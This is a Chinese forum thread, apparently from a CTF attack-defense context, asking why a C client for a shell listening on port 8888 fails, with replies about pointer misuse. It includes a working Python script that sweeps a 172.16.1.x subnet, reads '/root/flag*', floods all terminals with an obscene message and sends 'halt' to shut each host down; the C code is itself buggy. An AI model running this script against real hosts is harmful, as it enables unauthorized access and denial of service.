c语言编程问题(二)
继上一篇https://www.52pojie.cn/thread-1395628-1-1.html 问题解决后又继续折腾 又出毛病了 又给我整懵逼了{:301_1001:}
起因:
在上一篇把代码看懂后又继续折腾 就不想用nc连接端口 想自己用c写一个 然后 就懵逼了.....不知道怎么写 就试着写了一下
代码:
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>
int main(){
int sock;
struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(8888);
serv_addr.sin_addr.s_addr = 0;
sock = socket(AF_INET,SOCK_STREAM,0);
connect(sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr));// 连接8888端口
char *i_buffer = "ls"; //要执行的命令
char *o_buffer;
write(sock,i_buffer,sizeof(i_buffer));
read(sock,o_buffer,sizeof(o_buffer));
printf("%s",*o_buffer);
}
然后运行之后就卡在这里没动了...
然后用wireshark分析了下数据包 发现 我自己用c写的数据包是这样:
后面多了个%s不知道是个什么鬼
然后再看了看用nc连接的
没有这个%s
然后....就没有然后了.....
用python写了一个可以使用,但c就懵逼呀,求大佬指点一下{:301_974:}
import socket
import time
from threading import Thread
def u(ip):
s=socket.socket()
try:
s.connect((ip,8888))
s.send(b'cat /root/flag*\n')
a=s.recv(1025)
print(ip,a)
time.sleep(2)
s.send(b'echo '+ b'fuck '*30+b' > /dev/pts/*\n')
time.sleep(2)
s.send(b'halt\n')
except:
pass
for i in range(1,254):
ip = "172.16.1."+str(i)
Thread(target=u,args=(ip,)).start()
本帖最后由 无闻无问 于 2021-3-21 20:09 编辑
char *o_buffer;
printf("%s",*o_buffer);
是当指针还是取指针数组中一个?
本帖最后由 无闻无问 于 2021-3-21 20:04 编辑
看错了耶,抱歉了 无闻无问 发表于 2021-3-21 19:48
printf("%s",*o_buffer);是当指针还是取指针数组中一个?
还是不行 服务器没有任何数据传过来 感觉在我发过去的时候就出毛病了{:301_973:} 感谢分享,我也遇到这个问题,期待大佬解答
页:
[1]